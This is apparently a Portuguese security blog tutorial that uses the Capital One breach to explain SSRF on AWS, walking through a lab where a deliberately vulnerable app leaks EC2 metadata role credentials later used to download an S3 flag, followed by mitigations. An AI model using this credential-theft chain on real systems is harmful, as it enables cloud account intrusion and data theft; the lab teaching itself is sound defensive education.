Contextualização

Em Julho de 2019, o banco Capital One sofreu um ataque hacker onde mais de 100 milhões de cartões de créditos foram roubados. Houve muitas especulações sobre como o hacker obteve acesso aos cartões, mas o que tudo indica foi por meio da exploração de uma aplicação vulnerável a "Server Side Request Forgery".

Neste artigo vamos entender como uma aplicação vulnerável em uma instância na nuvem pode ser explorada para obter acesso a dados sensíveis e quais ferramentas estão disponíveis para mitigar este ataque.

Cenário


No nosso cenário teremos uma aplicação PHP rodando em uma instância Amazon EC2 na AWS. Esta instância se comunica com um Bucket S3 para armazenar ou consultar informações de cartões.

Vamos entender algumas características destes dois serviços da AWS antes de partir para a vulnerabilidade.

Bucket S3

O Simple Storage Service (S3) é um serviço gerenciado da AWS de armazenamento de objetos. Nele podemos armazenar arquivos, definir políticas de acesso, criptografar objetos, etc. O acesso ao S3 pode ser feito via API. Para isso, as requisições precisam ser autenticadas. Uma forma de acessar Buckets S3, sem precisar se preocupar com a composição da chamada API, é via Console Web.


Outra forma de acesso é via terminal, instalando e utilizando a AWS command line. Ao configurar suas credenciais da AWS (access key e secret key), o o command line faz o resto pra você.

$ aws s3 ls
2020-07-07 18:09:06 hackthelab-credit-card-info

$ aws s3 ls s3://hackthelab-credit-card-info
2020-07-07 20:42:23         39 flag.txt

Instâncias EC2

O Amazon Elastic Compute Cloud (Amazon EC2) é um web service que permite criar máquinas virtuais com alguns cliques ou um comando no terminal. Uma característica importante de instâncias EC2 é o metadado.

O metadado da EC2 é um conjunto de informações sobre a instância. Os metadados podem ser acessadas a partir da instância, acessando o endereço reservado conforme abaixo :

$ curl http://169.254.169.254/latest/meta-data/

ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
hostname
iam/
instance-action
instance-id
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/

No exemplo abaixo, executamos o comando curl no terminal da instância EC2 para obter acesso ao IP público armazenado no metadado :

curl http://169.254.169.254/latest/meta-data/public-ipv4

Algumas as informações que são possível obter via metadado :

  • Endereço IP público da instância
  • Chave pública do SSH
  • Hostname
  • Tipo de instância
  • Perfil da instância (role)
  • Credenciais temporárias (entenda porquê abaixo)

Perfil da instância (roles)

No nosso cenário, nossa aplicação precisa se comunicar com um Bucket S3 para armazenar e consultar dados confidenciais.

Uma das formas de fazer isso, é criar um usuário no IAM com permissões de acessar os Buckets S3 e usar essas credenciais dentro do código da aplicação para fazer as chamadas via API. Usar credenciais hard-coded traz diversos riscos de segurança.

A melhor forma de se fazer isso é utilizando roles.

Uma role é um conjunto de permissões (por meio de políticas escritas em JSON) que irá definir quais acessos a instância terá. Vamos ver um exemplo :

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "s3:*",
            "Resource": "*"
        }
    ]
}

Vamos supor que eu anexe a política acima na role da minha instância EC2 (isto pode ser feito na Console Web da AWS). Com esta role, minha instância poderá executar ("Effect": "Allow") todas ações referentes a Bucket S3 ("Action": "s3:*"), em qualquer Bucket S3 da minha conta ("Resource": "*").

Desta forma, minha instância EC2 pode se comunicar com Bucket S3 via chamadas API sem precisar armazenar credenciais dentro da instância ou no código fonte. Basta executar os comandos (como por exemplo aws s3 ls) e poderemos ter acesso aos buckets.

💡 O que acontece na verdade é que, de forma transparente, a instância irá armazenar em seu metadado credenciais temporárias para autenticar e assinar as requisições API para os Buckets S3. Essas credenciais são automaticamente rotacionadas pela AWS.

As credenciais temporárias são armazenadas na URL abaixo :

http://169.254.169.254/latest/meta-data/iam/security-credentials/NOME_DO_PERFIL_DA_INSTANCIA

Estas credenciais se dão no seguinte formato :

  • Access key
  • Secret access key
  • Session token

Com os comandos abaixo, podemos usar essas credenciais para configurar nosso AWS command line para enviar comandos com a permissão estabelecida no perfil da instância.

export AWS_ACCESS_KEY_ID="ACCESS_KEY"
export AWS_SECRET_ACCESS_KEY="SECRET_KEY"
export AWS_SESSION_TOKEN="SESSION_TOKEN"

Lembrando que as credenciais são temporárias e possuem tempo de expiração.

Server Side Request Forgery

"In a Server-Side Request Forgery (SSRF) attack, the attacker can abuse functionality on the server to read or update internal resources. The attacker can supply or modify a URL which the code running on the server will read or submit data to, and by carefully selecting the URLs, the attacker may be able to read server configuration such as AWS metadata, connect to internal services like http enabled databases or perform post requests towards internal services which are not intended to be exposed."

Esta é a descrição da vulnerabilidade segundo a OWASP. Em outras palavras, podemos abusar de alguma funcionalidade de uma aplicação web fazendo que com que a aplicação leia um arquivo local ou de uma URL remota.

Com o SSRF, podemos forçar a aplicação que está rodando em uma instância EC2 a ler e nos mostrar informações dos metadados, incluindo credenciais temporárias.

Juntando as peças e os conceitos

Montei um lab para testarmos tudo isso na prática. Irei detalhar o passo a passo a seguir, mas fique a vontade para testar por conta própria.

Passo a Passo

01 Passo

Encontrando uma aplicação com o código vulnerável a SSRF

O código da aplicação está propositalmente vulnerável a SSRF. Ele possui um campo de entrada onde podemos passar a URL que gostaríamos que o servidor acesse. Em um cenário real, podemos usar técnicas para detectar se o campo é vulnerável a SSRF.


02 Passo

Obtendo o nome do perfil da instância

Basta utilizarmos a URL do metadado que retorna o nome da role anexada na instância :

http://169.254.169.254/latest/meta-data/iam/security-credentials/

03 Passo

Aplicação rodando em uma EC2 com metadado habilitado

Com o nome do perfil, podemos solicitar as credenciais pela URL abaixo :

http://169.254.169.254/latest/meta-data/iam/security-credentials/MyEC2Profile

04 Passo

Configurando o command line

Agora, é só configurar o AWS command line com as informações

$ export AWS_ACCESS_KEY_ID="ACCESS_KEY"
$ export AWS_SECRET_ACCESS_KEY="SECRET_KEY"
$ export AWS_SESSION_TOKEN="SESSION_TOKEN"

05 Passo

Acessar Bucket S3

E acessar o bucket S3 usando AWS command line

$ aws s3 ls
2020-07-07 18:09:06 hackthelab-credit-card-info

$ aws s3 ls hackthelab-credit-card-info
2020-07-07 20:42:23         39 flag.txt

$ aws s3 cp s3://hackthelab-credit-card-info/flag.txt ~/Desktop/flag.txt
download: s3://hackthelab-credit-card-info/flag.txt to ./flag.txt 

$ cat flag.txt 
Own3d! SSRF concluído pelo 100security

Mitigando o ataque

Principal fator de mitigação é obviamente a correção da vulnerabilidade, feito com a validação de caracteres de entradas de usuário na aplicação.

Mas além da correção, a AWS possui outras opções para mitigar este tipo de cenário de ataque :

  • Desabilitar o metadado da instância EC2
  • Utilizar metadado v2 (IMDSv2)
  • Utilizar AWS WAF ou WAF de parceiros que detectam e bloqueiam SSRF

Uma infinidade de boas práticas e serviços disponíveis na AWS, quando adotados também mitigam, não só este tipo de ataque, como outros problemas de segurança :

  • Perfis de instâncias EC2 devem seguir a boa prática de least-privilege, possuindo acesso somente ao necessário
  • Utilizando AWS KMS como método de criptografia de buckets S3, é possível tornar acesso aos buckets ainda mais granular, segregando quem possui acesso a função de Encrypt e Decrypt separadamente
  • Amazon Macie auxilia na classificação de dados sensíveis em buckets S3 e direciona na criação de controles preventivos para proteção do dado
  • GuardDuty ajuda na detecção de atividades suspeitas nas na conta
  • Entre outros

Nota

Minhas opiniões são pessoais e não refletem a opinião e posição do meu empregador.



  Autor

Andre Cavalcante

 São Paulo/SP



  Ferramentas de Exploração

© 2020 - 100SECURITY

Contato